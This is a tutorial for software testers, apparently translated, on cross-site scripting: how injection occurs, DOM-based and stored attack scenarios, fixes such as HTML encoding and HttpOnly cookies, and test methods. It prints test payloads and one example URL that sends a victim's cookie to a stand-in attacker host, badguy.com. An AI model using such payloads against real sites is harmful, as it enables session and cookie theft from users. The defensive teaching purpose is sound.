The full name of XSS (Cross Site Scripting) is a cross-site scripting attack, which is the most common vulnerability in Web programs. Refers to the attacker embeds client-side script (such as JavaScript) in the webpage. When the user browses the webpage, the script will be executed on the user's browser, so as to achieve the attacker's purpose. For example, obtaining the user's cookie and navigating to a malicious website , carrying Trojan horses, etc.

As a tester, you need to understand the principles of XSS, attack scenarios, and how to fix them. In order to effectively prevent the occurrence of XSS.

read table of contents

How XSS Happens
HTML Encode
XSS attack scenarios
XSS Vulnerability Fix
How to Test for XSS Vulnerabilities
Difference between HTML Encode and URL Encode
XSS filters in browsers
XSS Security Mechanism in ASP.NET

How does XSS happen?

If there is the following textbox

<input type="text" name="address1" value="value1from">

value1from is the input from the user, if the user does not input value1from, but input "/><script>alert(document.cookie)</script><!- then it will become

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

Embedded JavaScript code will be executed

Or the user input is "onfocus="alert(document.cookie) then it will become

<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

The embedded JavaScript code will be executed when the event is fired

The power of the attack depends on what script the user enters

Of course, the data submitted by the user can also be sent to the server through QueryString (in the URL) and Cookie. For example, the following figure

HTML Encode

XSS happens because data entered by the user becomes code. So we need to HTML Encode the data entered by the user. Encode special characters such as "square brackets", "single quotation marks", and "quotation marks".

A ready-made method has been provided in C#, just call HttpUtility.HtmlEncode("string <scritp>") on it. (requires a reference to the System.Web assembly)

Fiddler also provides a very convenient tool, click the "TextWizard" button on the Toolbar

XSS attack scenarios

1. The Dom-Based XSS vulnerability attack process is as follows

Tom discovered an XSS vulnerability in a page in Victim.com,

For example: http://victim.com/search.asp?term=apple

The code of the Search.asp page in the server is roughly as follows

<html>
　　<title></title>
　　<body>
　　　　Results  for  <%Reequest.QueryString("term")%>
　　　　...
　　</body>
</html>

Tom first established a website http://badguy.com, used to receive "stolen" information.
Then Tom constructs a malicious url (below) and sends it to Monica in some way (email, QQ)

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica clicks this URL, and the malicious Javascript code embedded in the URL will be executed in Monica's browser. Then Monica's cookie at victim.com will be sent to the badguy website. So Monica's information on victim.com was stolen by Tom.

2. Stored XSS (stored XSS vulnerability), this type of vulnerability is widely used and may affect the security of the large web server itself. The attacker uploads the attack script to the web server, so that all users who visit the page face information disclosure possible. The attack process is as follows

Alex found an XSS vulnerability on website A, which allows the attack code to be saved in the database,

Alex published an article with malicious JavaScript code embedded in the article.

When other people such as Monica visit this article, the malicious Javascript code embedded in the article will be executed in Monica's browser, and its session cookie or other information will be stolen by Alex.

Dom-Based XSS vulnerabilities threaten individual users, while stored XSS vulnerabilities will threaten a large number of users.

XSS vulnerability fix

Principle: Do not trust the data entered by the customer
Note: The attack code is not necessarily in <script></script>

Mark important cookies as http only, so that the document.cookie statement in Javascript cannot get the cookie.
Only allow the user to enter the data we expect. For example: In the age textbox, only allow the user to enter numbers. Characters other than numbers are filtered out.
Html Encode processing of data
Filter or remove special Html tags, eg: <script>, <iframe> , < for <, > for >, " for
Tag for filtering JavaScript events. For example "onclick=", "onfocus" and so on.

How to Test for XSS Vulnerabilities

Method 1: Check the code, find the key variables, the client sends data to the Web server generally through three ways: Querystring, Form form, and cookie. For example, in ASP programs, the client's variables are obtained through the Request object

<%
strUserCode =  Request.QueryString(“code”);
strUser =  Request.Form(“USER”);
strID =    Request.Cookies(“ID”);
%>

If the variable is not processed by htmlEncode, then the variable has an XSS vulnerability

Method 2: Prepare a test script,

"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)

Enter these test scripts in the Textbox or other places where data can be entered in the web page, and see if a dialog box can pop up. If it can pop up, it means that there is an XSS vulnerability.

Look in the URL to see which variables pass the value to the web server through the URL, and return the value of these variables to our test script. Then see if our script can be executed

Method 3: Automated testing for XSS vulnerabilities
There are already many XSS scanning tools. Implementing XSS automation testing is very simple, just use the HttpWebRequest class. Put the included xss test script. sent to the web server. Then check whether our XSS test script has been injected into HttpWebResponse.

Difference between HTML Encode and URL Encode

At first I always confused these two things, but they are two different things.

HTML encoding has been introduced before, and the URL encoding is to comply with the url specification. Because in the standard url specification Chinese and many characters are not allowed to appear in the url.

For example, search "test Chinese characters" in baidu. The URL will become
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477

The so-called URL encoding is: All non-alphanumeric characters will be replaced with percent signs ( % ) followed by two hexadecimal digits, spaces are encoded as plus signs ( + )

A ready-made method has been provided in C#, just call HttpUtility.UrlEncode("string <scritp>") on it. (requires a reference to the System.Web assembly)

Fiddler also provides a very convenient tool, click the "TextWizard" button on the Toolbar

XSS filters in browsers

In order to prevent the occurrence of XSS, many browser manufacturers have added security mechanisms to the browser to filter XSS. For example, IE8, IE9, Firefox, Chrome. All have security mechanisms against XSS. Browsers block XSS. For example the following figure

If you need to do testing, it's best to use IE7.

XSS Security Mechanism in ASP.NET

ASP.NET has a mechanism to prevent XSS. The submitted form will automatically check whether there is XSS. When the user tries to enter the XSS code, ASP.NET will throw an error as shown below

Many programmers have no concept of security, and even do not know the existence of XSS. ASP.NET is safe by default at this point. In this way, even programmers without security awareness can write a "safer website".

If you want to disable this security feature, you can pass <%@ Page validateRequest="false" %>

[System Security] XSS of Web Security Testing